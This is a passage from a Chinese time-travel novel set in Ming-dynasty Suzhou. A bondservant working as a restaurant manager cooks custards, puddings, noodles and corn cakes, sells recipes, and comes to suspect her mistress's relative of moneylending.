“舒白兄,你可真是,哈哈哈——”
卢俊年抚掌大笑,季舒白眉头微蹙:“真是什么?”
“真是叫人怜爱呀。”
“哈哈哈——”
这一回笑的不是宋瑾,不过季舒白气的却是宋瑾。
要不是她端上来这道菜,他怎么可能当众流泪?
季舒白气性上来,站起身子就要走,却被柴恒一把拉住。
“舒白,你生什么气?自打你从京师回来,气性就比以往大,整日板着个脸,如今逗你一逗,你也要恼。”
季舒白气的又坐了回去,只是拿一双眼睛瞪着宋瑾。
“就是就是,你呀就该娶个温柔娘子,平日帮你疏解疏解。一把年纪了,该娶亲了,不然也不会沦落到乞巧节还要跟我们几个大老爷们凑在一起。”
卢俊年说话间凑近了些:“说说,今儿七夕,可有收到哪家小姐送的荷包什么的?”
柴恒也没放过他:“改日我帮你叫个媒人来家,若是有人知道苏州同知要娶亲,不知道有多少人家递庚帖来,不怕你娶不到好姑娘。”
“啪——”的一声,季舒白没说话,一掌拍在桌上,声音响亮,另外两人登时闭了嘴。
“喝酒,不说,都不说了,来来来——”
“就是,放松放松,不说了。来,喝酒。”
宋瑾乘机开溜,没看见背后射来的怨恨目光。
一路上宋瑾倒是高兴的很,说不上来为什么,可能就是想看板着脸的季舒白露出不太严肃的表情来吧,想想就觉得过瘾,以至于脚下步伐都变得轻快起来了。
谁知人还没走到厨房呢,就看见一个穿着金驼比甲的的姑娘朝她走来。
“文掌柜的?”
宋瑾赶紧作了个揖道:“正是在下。”
“哎呀,可找着你了。我是夫人院里的。夫人叫我问你,可有些给孩子吃的点心,要甜一些的。”
宋瑾想了想道:“府中可有牛□□?”
“有的有的,小主人爱喝,家里常有,可是这个喝惯了,夫人想要些新鲜的。”
宋瑾笑笑:“姑娘放心,在下煮的牛□□必与旁人的不一样。”
那姑娘听了轻轻一笑:“早就听说掌柜的做菜味道与众不同,我倒要瞧瞧今儿这牛□□你能做出什么花样来。快些吧,夫人等着呢。”
宋瑾忙抬脚往厨房去了,那姑娘也跟着一起来。
牛奶,鸡蛋,白砂糖,再把蛋黄蛋清一分离,那不就是双皮奶和焦糖布丁嘛,她的拿手好戏。
柴家不缺冰,新鲜的牛奶拿出来时竟然带着凉气。
宋瑾打了四颗鸡蛋,将蛋白与蛋清分离。蛋黄里头加上牛奶和白糖,用筷子搅开,宋瑾手头没有配比的工具,全靠肉眼看颜色。
完全打散,搅拌均匀之后,上面盖上一层纱布,先入锅去蒸,这才去处理蛋清的部分。
单独取出一口小锅,小火把牛奶煮沸,这才倒回碗里,放在一边等凉下来结奶皮子。
蛋清里头加糖搅拌均匀后,那头的奶皮子还未结上,宋瑾便取了扇子轻轻扇着。
“这是在做什么?”
金驼比甲的姑娘好奇发问,宋瑾扭头答道:“给它降温,让它结奶皮子。”
“这还不简单,用冰水好了。”
说话间招呼人去取冰来,用水浸了,这才把盛着牛奶的碗放进去降温。
宋瑾在一边看着那姑娘熟练地使唤人,金驼春绸团花暗纹的对襟比甲,露出里面一件白绫袄的袖子,只是扣子不甚奢华。下着一条牵牛紫褶子裙,镶着青莲色的缘边,脚上是玉色缎面绣花鞋。
即使是奴,也分三六九等,这一点宋瑾在柏家便已知晓。
等奶皮子结好时,用筷子在碗边掏个洞,用筷子抵住那层皮,缓缓地把牛奶倒入蛋清之中,再一次搅拌均匀。
取过一块纱布,把奶泡都过滤掉,接下来便是把牛奶从那个奶皮洞里倒回碗中。
宋瑾找不着好用的碗来倒,只好想了个法子,用一根筷子贴着奶洞口,将碗口贴着筷子慢慢往下倒,让牛奶顺着筷子流入奶皮下方。
等牛奶全都倒完后,盖上一层纱布再放到锅里跟着布丁一起蒸。
“你这是什么法子?牛奶蒸鸡蛋?为何还要分开蒸?”
姑娘有些好奇,宋瑾慢慢解答:“同蒸鸡蛋差不多,不过添了牛奶和白糖,味道更甜一些,还有一些奶香味,也比鸡蛋要嫩,你待会儿尝尝就知道了。”
那姑娘盯着锅:“我倒是好奇的很,只是也不能一直等在这里,等你做好了,便叫下人端进来吧,她们晓得在哪里。”
宋瑾点头称是,那姑娘便先走了。
双皮奶和布丁要蒸好得一会子功夫,宋瑾算着时辰,约莫过了两盏茶的时间这才揭了锅盖去看,果然都已经凝固。
新的难题又来了,没有喷枪,这白糖如何变焦糖呢?
宋瑾扫了一圈厨房,将视线落在一个铁勺上。
铁勺放在火上直接烧烫,布丁上均匀地撒上一层白糖,再用铁勺去烫过。随着“滋——”的一声响,一阵白烟冒起,等铁勺挪开时,那橙黄的布丁表面已经结上了一层焦糖。
“麻烦帮我送给夫人。”
宋瑾端着两碗甜品,交给柴家厨房里的一个婆子,婆子接过,端着托盘走了。
今日柴家宴客不算很多,只有卢俊年和季舒白,而且瞧着甚是相熟,很多虚礼也就略过了,主要便是吃吃喝喝。
宋瑾做完甜点,这一次的私厨菜
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式也就做的差不多了,若是没有人吩咐添什么菜,她便要收拾收拾准备回了。
就在厨房发呆等吩咐的时候,那金驼比甲的姑娘又回来了,满脸的喜庆。
“文掌柜?文掌柜?那个奶蛋可还有?小主人可喜欢吃了,那个黄的,要黄的。”
宋瑾笑笑:“主要您家还有牛□□和鸡蛋,随时都能给您做。”
“那便好了,夫人说了,叫再做一份送过去,顺便给老爷那桌也送上。”
宋瑾点头道好,带着红杏跟婆子就忙碌起来。
她怎么也没想到,今日忙忙碌碌,带着精心准备的菜式,最后招人喜欢的竟然是焦糖布丁这个不起眼的小玩意。
可是问题来了,宋瑾如今没办法以这个为生。
在这个没有巴氏杀菌,没有冰箱的地方,她想用牛奶做甜品,然后卖给街坊邻居,本身就背着巨额成本。万一没卖出去,那真是多一会子也留不住。
成本高昂,她不敢轻易尝试,随便坏两桶牛奶,她可能就白忙活好几天,哪有白切鸡好使。
宋瑾心里头盘算着,手上也没停,那姑娘在她身边嘀嘀咕咕。
“你这是哪里学来的菜式呀?往年的厨役都不曾做过。”
宋瑾笑笑,宋瑾真是见谁都笑,谁叫她地位低下:“幼年家中一个老厨役教的。”
“你家有厨役,你怎的学了厨?”
是挺奇怪的,都请得起厨子了,哪有不考功名的。就算不为了当官,也可以为了徭役呀。
士人跟厨子,那完全是两个阶层。
“我不善读书,倒是喜欢做菜,所以学了这个。”
姑娘点点头,宋瑾也不管她是否能理解,只向她道出心里的疑问。
“我瞧着今儿来的客人都是府衙的,您家老爷同府衙很熟呀?”
“嗨,”姑娘道:“我家老爷跟那季老爷从前是同学,后来一起进的京参加会试,这不是我家老爷落榜了嘛。如今这季老爷回了苏州做了同知,那不得聚聚。说起来也是,这季老爷可忙着呢,听说回来许久,也没跟我家老爷见上几面。”
宋瑾有些惊讶,毕竟以柴恒那个辣哭了喊娘子的性子,实在难以跟季舒白那个铁面书生联系在一起。
“你家老爷跟季老爷关系很好嘛?”
“是呀,我听说从前季老爷还在苏州的时候,常跟我家老爷在一块儿玩,后来上了京,再回来的时候,人都板正了许多。我家老爷在夫人面前说了许多回了。”
“说什么呀?”宋瑾猜总不可能是当了官忘记旧日同学这等老套故事吧。
“还能说什么呀?这做了官,还是苏州的官,能不累吗。别说苏州,说不定京师都有人盯着呢。”
宋瑾听了撇撇嘴,同知......盯什么?又不是知府。
“那卢大人呢?”宋瑾看着卢大人比季舒白年长一些,官职却不如他,可是初见时就喊舒白兄,料定二人关系不差。
谁知那姑娘摇摇头:“卢大人不熟,他不是苏州的,估摸着是在京师认识的。不过他这人有趣,到苏州后我家老爷跟他常来往。”
宋瑾点点头,懂了,又不大懂。
32. 葱油面
几份焦糖布丁跟双皮奶做完之后,宋瑾这一日的厨役生涯暂时结束了,她领着红杏跟婆子一起收拾带来的工具。
就在这个当口,柴家管事过来找她,两人一起到廊下说话。
“小主人很喜欢你做的那个什么鸡蛋奶,就连卢大人和季大人也都夸呢,老爷和夫人都想着以后能常常吃上。”
“老爷们喜欢就好,那还是一样的规矩,隔日便送一份来?”
宋瑾想,这倒是个法子,买些牛奶就好,做多少送多少,不怕柴家不认账。
可是宋管事不这么想:“那多麻烦,要是小主人嚷嚷起来,那是立刻就要吃到的。我是这么想的,您呢就把这法子教给我家厨役,到时候就不必再麻烦掌柜的送。既可省事,也不耽误小主人吃,岂不方便?当然了,这银子您开个价,都好商量。”
宋瑾一听,这是要买菜谱啊,那多好啊,她又不做双皮奶和焦糖布丁的生意。
“还是宋管事想的周到。”
宋瑾嘴上说的委婉,心里早就乐开了花,可是开价成了问题。
她知道大明的粮食多少钱一石,可是这一份菜谱是什么价呢?
宋管事见她踌躇不定,索性自己开了口:“文掌柜,您看这样可好,两份甜点,算两份菜谱,一共三十两银子,可成?”
快能赎自己了。
宋瑾预估一个价格的高低,唯一的衡量标准便是自己的赎身价格,接近了便是高。
“成的成的,宋管事开的价,定是最公道的。”
宋管事笑笑,转头命人去账房取现银来,过不多时,一包沉甸甸的银子便到了宋瑾手上。
“这里是七十两银子,除了买下菜谱,还有之前答应您的佣金以及菜钱,今日就劳烦文掌柜了。”
一句话算是终结了宋瑾今日的劳作,三十两菜谱,三十两佣金,十两的菜钱。
有那么一瞬间,宋瑾想全部吞了这笔银子。
“文掌柜?”
“文掌柜?”
宋瑾抱着银子,强力压制住自己抱着银子跑路的心思,恍然间听见宋管事叫她,这才发现自己贪银子贪出神了。
“您叫我?”
宋管事笑笑:“今日麻烦掌柜的,宅上已经帮掌柜的雇了轿子,天黑了,路上当心。”
这是很客气地送客了,宋瑾忙谢过,这才抱着银子回了厨房。
这大明没有银票,唯一的优势在于银子已经成了通用货币,要是往前朝走,她只能抱着铜板了。
厨房里头的人看见宋瑾抱着一个包裹进来,纷纷驻足观看。
“哟,这么一大包银子,走在路上可得小心了,叫人抢了心要痛死嘞。”
“哈哈哈——”
宋瑾心中也是高兴,脑中已经开始盘算哪些入账,哪些私吞,哪些用来邀买人心了。
趁着说笑的空档儿,她撇了眼红杏跟婆子,还好,喜悦之情甚于嫉妒,可以拿下。
三人收拾了东西,剩余的菜和肉因为柴家已经付过银子,所以也不必带走,只带些宋瑾自己调制的香料和小锅子,便出门乘了轿子往食鼎楼去了。
今儿七夕,乞巧的日子。宋瑾一身男子装扮,不曾到柴家后院看看那喜庆的夫人如何过这节日,街头也不见女子身影,倒是不知道哪座楼上传来歌声:
“天孙一夜停机暇,人世千家乞巧忙,想双星心事密话头长。七月七,回首笑三郎。”
宋瑾在食鼎楼门前下轿,店内零零散散几个食客,宋瑾抱着银子直接往后头去了。
事实证明,处在同一个阶层,更加容易共情。
宋瑾几乎是没有费任何力气,直接告诉了阿荣这次所得多少,记账多少,阿荣也不问,报多少记多少,银子也就收多少。
在柏家,逢年过节也有些赏赐,那都是属于个人的。宋瑾到了柴家得了赏银,自然就归于她,根本没人想叫她“充公”。
宋瑾也不傻,不能自己一个人得便宜,在前头食客还没吃完的时候,自己带着人到厨房折腾出一顿大餐来,直等最后一个客人一走,众人上来门板,同在店中吃吃喝喝。
“今儿是乞巧节,我们这些老婆子就算了,你们这些年轻人,也没缝个荷包送给心上人?”
宋瑾笑笑,她可不会缝荷包,就算会,哪怕是一个铜板,她也要留下来脱籍用。
倒是她身边的两个适龄丫头采薇和红杏嘀咕:“一天天的这般忙,哪有时间缝荷包呀。”
宋瑾呷了一口酒,慢慢品着这句话,心里头叹气。
原先意气风发,还想着可以教杜鹃她们识字,结果出来两个月了,竟没回去过。
春云倒是拽出来了,可惜跟着自己除了不挨打挨骂,也没得着什么好。一天天累的要死,晚上睡的比谁都沉。
早前夸下海口,说自己看看账本就一定能很快学会,可是一个算盘就足够难住她了。自己是掌柜,又是大菜的主厨,她实在不想夜里收了摊还去拨算盘。
人,是需要时间喘气的。
“我瞧着你们,除了春云还小,都该想想成亲的事情了,要是自己不选一个中意的,没准儿哪天大奶奶就做主给你们配了。”
宋瑾听了这话,总觉得像在给牲口配种,心里头泛起不适感。
“咱们这样的,本来就不能自己做主。”红杏夹了一筷子鸡肉,边吃边说。
“这还不是看你想不想了,真要有心,自己个儿找了,再去求个情,未必不能成。大奶奶不给你配个奴才,难道配那根本生不出来的柏家公子啊?还是去地底下配老爷?”
几个人笑。
“你说咱们老爷是不是身子有毛病啊,没有儿子也就罢了,怎么连个闺女都没有?”
“这谁知道呢?没准儿是作孽太多,老天爷看不过,不叫有后呢。”
“作的什么孽啊?”
这一下,原本懒懒散散的宋瑾也竖起了耳朵,可那婆子却不肯细说了。
“莫说咱们柏家,就是放在任何一个富商巨贾人家,有谁是干干净净的?就说咱们今天去的柴家吧,人家可是有大官做靠山的,不然人家怎么会一考不中就放弃了。得了一个举人的名头,那就够用了。”
这一点宋瑾倒是听说过,到了举人这个级别,田赋徭役全
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免。换句话说就是种地无需上税,所以好些土地财主会追着举人跑,巴巴的送银子,为的就是免去税赋。
宋瑾想,这应该就是十六世纪的股权代持吧?合理避税,大家都这么干的。
到了举人这一步,往前就是进士,可就算得了进士又怎样?哪有那么多空缺要补?又不是开国时候,打打杀杀那些年,处处缺人才。
因为这个原因,弃文从商的风气越来越浓,儒商几乎成了明朝一个现象。
可是只要查一查这大明官员的俸禄,那也不奇怪。
宋瑾在心中开始盘算季舒白这人的月薪,正五品,得有十几石禄米吧,换算成银两......
不算还好,宋瑾这么一算心里不痛快了,一个月的俸禄能买两个奴仆呢。
怪不得在这大明,一个小小秀才出门都带着书童,原来最便宜的是奴。
宋瑾越想越觉得自己命贱,气哼哼地灌了一杯酒后先行洗漱睡去了。
气归气,日子还是要过的,宋瑾第二日一早起床洗漱,倒也不急着卸门板,杀鸡的事情交给婆子,她安安静静地做了早饭。
今天的早饭是葱油面。
宋瑾很有耐心,一点小火慢慢烧热铁锅,油要多多的,这一点上她一直不够省减。
等油温起来了,就把洗净擦过水的葱段放下去。火要小,油温不能太烫,否则瞬间黑焦,味道就不对了。
等葱段煎到发黄时,便可撤了火,将油捞进碗中放着,油的余温会慢慢把葱段煎到发黑。
等到这一步时就可以准备煮面了,但是其他人尚未起床,宋瑾也就不着急煮面,而是搬了把条凳坐在院中,
太阳未起,晨间薄雾自院中缓缓飘过。几只早起的麻雀落在地上,叽叽喳喳地一边叫唤,一边在地上不知道啄食着什么。
宋瑾享受这安静不到一刻钟功夫,就随着吱呀呀一阵开门声打破了。
“呀,掌柜的起的这样早。什么味道,这么香。”
宋瑾笑笑:“我熬了葱油,咱们早上吃葱油面,我还等着您扯面呢。”
“好嘞,您等着,我洗漱好就来。”
扯面的本事,宋瑾是没有的,她在做饭这件事上相当不全能,只做自己爱吃的,以及能讨好老板的。
那婆子倒是擅长的很,和面揉面扯面,宋瑾像是在看一场酣畅淋漓的表演。
锅中水开始翻滚的时候,一大把面撒将下去,宋瑾特意嘱咐,要细一些的。
等面出锅的时候,那油温也降了下来。
宋瑾先把葱给挑进碗里,油里加盐糖和酱油,搅拌均匀后舀两勺子到面碗里搅拌均匀。
“真香,掌柜的就是主意多。”
宋瑾笑着拌好面,挨个摆在灶台上,此时院中热闹起来,几人全都起床到了院中,闻见葱油面的香气后也顾不得刷牙洗脸,匆忙漱口后就朝着厨房奔来了。
说来也怪,一个个也不上桌子,就端着面在后院里,或站着或坐着吃。
早晨的空气清凉,晨雾里混着葱油香,宋瑾盯着不远处几只叽叽喳喳的麻雀,痛痛快快地吃掉了一大碗面。
33. 放债
食鼎楼的日子照旧。
宋瑾买了个匣子,将自己的私房锁了,几个姑娘晚上窝在被窝里聊天。
“嗳,你之前不是说要脱籍吗,有了这笔银子,应该就能脱了吧?”
原先谁也没当真的事情,因为突然多出来的这笔银子,一个个都觉得实现有望了。
“我是想呢,可是还有我爹娘呀,不然我一个人脱了籍,出去了也是麻烦。”
“对啊,咱们女子都不能随便买田买地,要么你把你爹脱了籍,要么你就得找个人嫁了。”
说到这里,宋瑾也是郁闷的很,这女子不只不能随便继承,就连产业都不能随意拥有。
“嗳,可是我听说,这女子只要家里头人死绝了,就是能的。”
采薇一句话,引得红杏拿手肘碰她:“好端端的大活人还在呢,就提死啊死的。而且你说的那是继承,咱们能继承什么呀?奴籍啊?”
采薇知道话说的不吉利,吐吐舌头,也不辩驳了。
“你也别想那些远的了,”红杏提醒宋瑾道:“就想想这银子可能保住吧。我听说有些刻薄的主人家,知道奴才发了财,就行抄估的手段,任你挣下多少,最后也是到了主人手里头。”
宋瑾咋舌,她知道银子难保,也知道文雅不是什么大度量的人,那两千两的借据可不就是拿来困住她的么。
采薇翻身睡下:“要我说,咱们呀还是先过好当下的日子吧。我瞧着那柴家就不错,赏银给的这样大方,将来若是再来几次席,咱们也能跟着吃上好的。只要咱们守口如瓶,大奶奶哪里能知道这里头的事情。”
几人听了这个话都笑笑,有好大家一起享,自然没人到文雅面前嚼舌根。
宋瑾不担心眼前几人,倒是想起马蹄巷的文新来,那未必是个省油的灯。她挣了这样一笔银子,指定要存过去的,到时候免不了要见面。
细算起来,她确实好久没见过文新了,不知道他在忙什么,最好也把自己忘记了才好。
这天上午,食鼎楼没什么客人,宋瑾跟阿荣将店中的账目一合计,提上从柴家得来的二十五两银子往马蹄巷去交帐。
七十两银子,宋瑾只交了二十五两上去,没人吭声,毕竟吃了鸡喝了酒,宋瑾也没得罪谁。
说来也巧,宋瑾来的时候,马蹄巷正忙碌着,几个挑夫正往外头挑东西呢。
宋瑾扫了一眼那箱子,再看看挑的那木棍,便知道里头是银子,而且份量不轻。
“文公子。”
宋瑾进了院子,瞧见文新正在厅中与一穿沉香色湖纱道袍的男子说着话。
那人年岁不小,只是宋瑾不曾见过。
“哎呀,子晋兄,你怎么回来了?来来来,我这边正好办完事。”
说着对身边的中年男子使了个眼色,那人倒是识趣,立刻站起身来拱手道:“那文公子,今日就说到此处,在下先告辞了。”
说完又对宋瑾拱手,领着自己的仆从出去了。
宋瑾走进厅中,笑道:“前两日到柴大官人家做了场席,大官人封了不少银子,店里一时用不上,索性存到这里来。”
说话间,阿荣将那一包银子放在桌面上:“一共二十五两,都在这里了,劳公子上个帐。”
文新笑着在上首坐下,也不急着称那银子:“我听说你那小店做的不错,最近常卖什么鸡?你很会做鸡呀?”
宋瑾听了这话,有那么一瞬间怀疑这人也是穿越来的,搁这拐着弯骂她。
“刚刚出去的是什么人呀?”宋瑾不接话,直接换了话题。
“哦,一个老相识。”
宋瑾笑笑:“瞧出来了,都能抬走银子呢。”
文新听了这话,收敛起笑意:“怎么,蔓草姑娘对我的做法有意见?”
宋瑾一听,这是装都不装了,直接喊她蔓草,不就是要拿着文家公子的架子来压人嘛。
“岂敢,我只是想起来我从大奶奶那里借来了两千两银子,算起来还有一千多两存在这里,我怕文公子挑错了。”
文新皮笑肉不笑的:“这银子,既不标名又不写姓的,挑哪一担不是挑?账上有便是有,你还怕我赖账?”
宋瑾道:“你姓文,这银子又是大奶奶的,就算你会赖我的,也不会赖大奶奶的,不是么?”
文新哼了一声,不吭气,宋瑾也懒得待下去,叫他称了银子入了账,她还要去菜市买菜呢。
几人交割完毕,宋瑾带着阿荣出了马蹄巷,一路上越想越气。
“阿荣,刚刚那人你可认识?”
阿荣摇头:“从前在柏家,我也是在账房里头,不曾接触多少外人,所以不认得。”
宋瑾不罢休:“你说这许多银子挑出去能干什么?买药材?”
阿荣笑笑:“原来你操心这个呀,那倒是不必。”
宋瑾不解:“为何?”
“这生意人啊,什么都沾点儿。你想想,大奶奶那一大笔银子摆在那里,能空摆着么?虽说你在做生意,可是这生意比较要要一步一步来,哪有他们方便。”
“他们?方便?什么意思?”
“放债啊我的姑奶奶,这你都看不出来?”
一语惊醒梦中人,宋瑾瞬间回过神来。
她帮着从柏家弄出来的银子,文雅是不会干放着的,除了让宋瑾做生意赚钱,还让文新放债收利。而放债的这笔银子里,八成包括了宋瑾借出来的那笔银子。
一鸡两吃啊。
一边收着宋瑾的利息,一边再放一波债用来收利息,脑子够活的呀。
这事文新能办,宋瑾却不好办。
民间放贷,相比有钱可以提供给人家借,更重要的是有能力收回债务。所以但凡做这个生意的,背后都不会没人。
要么有关系,要么有打手,无论哪一样,都不是如今的宋瑾能办到的。
细想想,挺泄气的,有些人赚钱就是比她这种两手空空,全靠实力的人强。
想到这里,宋瑾长叹一口气,领着阿荣一起去逛菜市。
七月里有不少新鲜菜上市,宋瑾就看见了花生和玉米,可惜没瞧见土豆。
没记错的话,土豆是万历年间传进来的,不知道如今在哪块地里头长着呢。
至于番薯,这一年还在菲律宾没过来,至于番茄,宋瑾连影子都没有瞧见
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走至一个卖花生的摊贩跟前,宋瑾不走了,蹲下身子去看那花生。
花生是晒过的,抓起一把晃晃,里头哗哗直响。
“公子,买点子花生尝尝?自己地里种的,昨天晒透的,新鲜着呢。”
宋瑾问:“你这花生什么价啊?”
“十个铜板一斤。”
宋瑾瞧了眼竹筐里,数量不少,估摸有十几斤的样子。
“你这带着壳呢?花生要卖出栗子的价了。”
“公子这话说的,栗子什么价,花生什么价?我这花生要是不带壳,那也不是这个价了。这花生带壳好,带了壳才好存,只要不碰水,冬天里照样吃。”
这倒是实话,可是宋瑾不想自己挑回去,只是她也没带东西来啊。
“你这有多少斤?”
“您要买多少,我给您称多少。”那人一见宋瑾要买,咧开嘴笑了,大黄皮肤显的牙特白。
宋瑾站起身来道:“我离得远,这样好了,你把这两筐子挑去我家里,到家称过了,是多少我就买多少。如何?”
“好说好说,您在前头走,我跟在您后头,保证给您挑到家里。”
宋瑾拍拍手,这才背着手往外头走去。
做葱油面的时候,宋瑾就想好了,她要做油炸花生米,下酒的好菜。
三人在街上慢慢走着,直走到食鼎楼里,那卖花生的将花生放在店内,阿荣去找了称来称。
两个竹筐过了称,阿荣道:“十八斤,算十五斤吧。”
“唉,这怎么一下子就去了三斤的火儿?”
“您也瞧瞧您这竹筐,算您三斤可没坑您。”阿荣不甘示弱。
那卖花生的看阿荣不好说话,便转头看向宋瑾:“店家,算两斤可好?这竹筐子没那么沉。”
宋瑾对那竹筐子多重没多大数,抬眼看向阿荣,阿荣做了个可以的眼神,宋瑾便豪爽道:“成,算您两斤,一共十六斤的花生,我都了。”
“好嘞,谢谢掌柜的。”
阿荣一边去取钱,一边招呼小二进去拿框子,宋瑾坐在店中跟那人说话。
“这位小哥,家里除了花生,可还有别的什么,比如玉米黄豆什么的。”
“有的有的。”那卖花生的小哥见宋瑾打听,料她还要买,忙介绍起来。
“眼下黄豆还嫩着,吃起来鲜甜,玉米也刚刚熟,你要多少?我给你把黄豆剥好了挑来。”
宋瑾笑笑:“连壳就行。”
那大哥略显失望,不过转瞬即逝:“成,连壳还方便,您要多少,我明儿就给您送来。”
宋瑾琢磨一下道:“这样,我要十斤带壳的嫩黄豆,十斤新鲜的带壳花生,别晒干了,再来二十根嫩玉米。”
“成,成,您要什么我给您送什么。”
两人说话间,阿荣数了铜板出来,小二也把干花生都倒进了自家竹筐里装好。
那大哥数清了铜板,连连谢过宋瑾,挑着空竹筐子出门去了。
阿荣见了倒是生出好奇来:“掌柜的,要那些黄豆花生作甚?”
宋瑾神秘兮兮地道:“我呀,要做一道新菜。”
34. 油炸花生米与黄金玉米烙
十几斤的连壳花生买回来后第一件事便是剥花生,这简直是宋瑾的噩梦,小时候常常剥到大拇指生疼。
花生壳厚且硬,又是晒干了的,更加脆硬,要不是为了炸花生米时品相要好,宋瑾恨不得放在板凳腿下去轧。
不过食鼎楼有这些人在,倒比她一个人剥快多了。
第一回炸花生米,宋瑾不敢做的太多,剥了一大海碗出来后便停了。
花生米干净的很,也不必淘洗,热锅里添上足够多的油,等开始冒烟了便将花生米倒下去,旁边婆子见了不禁问:
“这个时辰炸花生米?怎的不明儿早上炸,不是新鲜些?”
宋瑾道:“花生米啊,要想脆,就得隔夜。”
其实有冰箱更好,但是宋瑾如今没条件,只能夜里盖好等着第二日变脆。
婆子不大懂这个道理,只是宋瑾玩的新花样多了,每次都是好结果,渐渐的也就没什么人问了。
花生米在油锅里,要不停的用锅铲搅拌,使油热均匀。
油炸花生米实在是没什么技术,唯有两个技巧,一个是隔夜,一个是捞起的时间。
花生米是不能在油锅里炸熟的,得捞起来,让剩余的油温慢慢在花生上炸。若是一直留在油锅里等着炸熟,那就得着捞一碗黑炭吧。
花生米下锅后,不消半盏茶功夫,宋瑾便听见锅里有轻微的噼里啪啦的响声,心里清楚时辰到了,于是用笊篱将花生米捞起,滤油后放在碗里。
花生米离了油锅,非但没有停止那响声,反而响的更厉害了,正是油的余温在作祟,时间能持续许久。若是等炸熟了再捞,这余温必会使花生发黑发焦,那便没法入口了。
刚炸出来的花生米无比烫口,根本不能吃,也不够酥脆,宋瑾将碗放在一边,让春云去碾些盐出来。
这里的盐粒略大了些,宋瑾叫碾的细细碎碎的,这样拌起来吃,入口就不会齁了。
春云听话的很,叫做什么就做什么。天天吃饱,夏日又不冷,没人打没人骂,大力的活也轮不上她。虽然忙了些,却觉得自己在过神仙日子,因此对宋瑾无比顺从。
细细白白的盐粒磨出来,那花生也基本停止了响声,宋瑾将盐均匀地洒在花生上,双手抓着碗轻轻往上抛着花生米,让他们沾染均匀了。
丫头们好奇,抓了一颗到嘴里嚼着。
“香是挺香的,可是怎么又不糯又不脆的,说不上来是什么味道,不如煮的好吃。”
宋瑾笑笑:“过一晚再说吧,兴许放久了就脆了。”
有婆子笑道:“你这法子倒新鲜,听说过新做的酥脆,还是第一回听说放久了酥脆的,哈哈哈——”
宋瑾也不理,反正做什么菜她能做主就行。
等到第二日,众人再尝那花生米,果然味道不一般,小二在午间热情推荐,竟然卖出去不少,于是这道油炸花生米便成了常备菜式。
油炸花生米是下酒菜,一个铜板给一小碟子,再添一壶烧酒,客人能坐大半个时辰。
宋瑾没事做时便站在店中瞧着那不走的客人,生出一些心得来。
穷人生意不好赚钱,要想赚大钱,就得做有钱人的生意,比如那柴恒,随便赏赏就是一两银子。
眼前的客人就一点花生米,一壶酒,到顶了也就十几文,却能坐小半天,翻台率太低了。
就在宋瑾琢磨着上哪里找那许多有钱人做生意的时候,一个有钱人进门了。
卢俊年拉着季舒白来了食鼎楼。
宋瑾看见季舒白抬头看了眼招牌:食鼎楼。
重裀而卧,列鼎而食,奢靡之相。
宋瑾看见季舒白那好看的眉头皱了皱,自己的心也不禁皱了皱。
可千万别是来找麻烦的。
“二位官爷,里头请。”
宋瑾随着那小二一同出去招呼,这可是官老爷,怠慢不得的。
“文掌柜。”卢俊年声音洪亮,进门看见宋瑾便招呼道:“那日在柴家吃过你做的菜,味道确实不错,今儿我带季大人一同过来尝尝,可有什么新鲜菜式?”
宋瑾道:“大人来吃,怎会没有。”
卢俊年道:“这一回可千万别有什么爆炒鳝段,再惹哭了我们季大人可不好。”
一句话说的季舒白眉头一皱:“卢兄——”
宋瑾想笑,硬是憋住了:“明白明白的,今儿不做这道菜。”
说话间,引着二人上了楼,两人在僻静的窗边坐下了。
“那日吃过的什么奶,还有那个黄色的鸡蛋奶,叫什么来着?”
宋瑾忙解释:“双皮奶和焦糖布丁。”
“对对对,就那个,可还有?”
“哎哟大人,这您就为难在下了。我这小店可存不起牛□□,今儿没有。不过大人若是喜爱甜食,小的倒有另外一道菜推荐。”
“什么菜?”
宋瑾道:“黄金玉米烙,用的新鲜玉米跟白糖,又嫩又甜,大人尝尝?”
卢俊年听完介绍,抓头看向一直盯着窗外的季舒白:“你不是爱吃甜的嘛,就要这玉米烙吧。”
“卢兄做主就好。”
宋瑾刚想着堂堂七尺男儿竟然爱吃甜食,结果一个冷冰冰的声音就飘了过来。
“什么我做主,我是带你来吃的,我天天看着你皱着眉头,我都快长皱纹了。”抱怨完看向宋瑾道:“掌柜的,玉米烙,还有那日做的清蒸鱼,另外再来两个拿手小菜,再添一壶酒,就这些吧。”
宋瑾笑着应下了,一边吩咐小二上茶,一边下楼准备做菜。
“你也别操心了,我知道你与首辅大人关系不一般,可是这......”
宋瑾来到这个世界后还是第一次听人提起张居正,脚踩在楼梯上,差点儿没滚下去,以至于后面的话根本没听进去。
这一年是万历七年,张居正病逝于万历十年,而刚刚卢俊年说季舒白与张居正关系不一般......
宋瑾的心怦怦直跳,她记得那些弹劾,也记得两年后的抄家,那季舒白呢?卢俊年呢?
她不记得在史书里见过这两个人的名字。
两种可能,一种是被清
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剿的一份子,早早死去,压根没来得及做多少功绩留下姓名。另一种便是被打压到抬不起头来,或许就此消沉,再无名姓。
一种悲凉感袭来,七月的天气愣是让宋瑾起了一身鸡皮疙瘩。
对季舒白也好,卢俊年也好,她谈不上感情,只是作为一个见过的人,从此要作为旁观者去见证他们的命运,而结局是未知的,这种无法掌控的感觉让她心里发慌。
“掌柜的?掌柜的?怎么站这里发呆,拿手小菜还得靠您呢。”
小二端茶经过宋瑾,提醒她赶紧去后厨做菜,宋瑾这才回过神来,忙往后厨去了。
宋瑾心里发慌,手上也不稳,只好指挥红杏她们帮着剥玉米。
玉米要新鲜的,嫩嫩的,炸出来才会甜嫩可口。
玉米剥好,凉水冲过,锅里添水,加上一大勺子的糖。
宋瑾担心这这十六世纪的玉米甜度不够,给糖给的够够的,好在这糖在大明也不是什么稀罕物。
水开后下玉米,煮到断生后用笊篱捞出稍稍控水放凉。加团粉拌匀,要加的多多的,让玉米能够粘在一起。
水份略多,加了团粉后有些黏糊就对了。
热锅里添上多多的油,宋瑾倒油的时候旁边人看的咋舌,宋瑾只好解释:“这是炸花生的油,总要用掉的。”
哪有那么多讲究,做的好吃就行,要是把那一大碗油倒了,宋瑾还得掰着手指头数数倒掉多少铜板。
她会心疼死。
油烧热后还得倒出来,只留锅底一点油,灶下撤火,只借着贴锅的那一点油去把玉米炸定型。
徒手抓上一把玉米团子,贴到锅边按压成饼,一把一把的贴上去,碰上空隙就得用玉米填上,总之摊出一个玉米大饼来,最后用锅铲从边缘往里推紧实。
倒出来的油也不是只用一次,等玉米成了玉米饼,灶下继续上火,用锅铲贴着锅边一点点淋下去,确保颗颗玉米都被炸到。淋到最后,半个玉米饼都泡在油里。
“哎哟,这玉米烙再好吃,一般人家也吃不上了。”
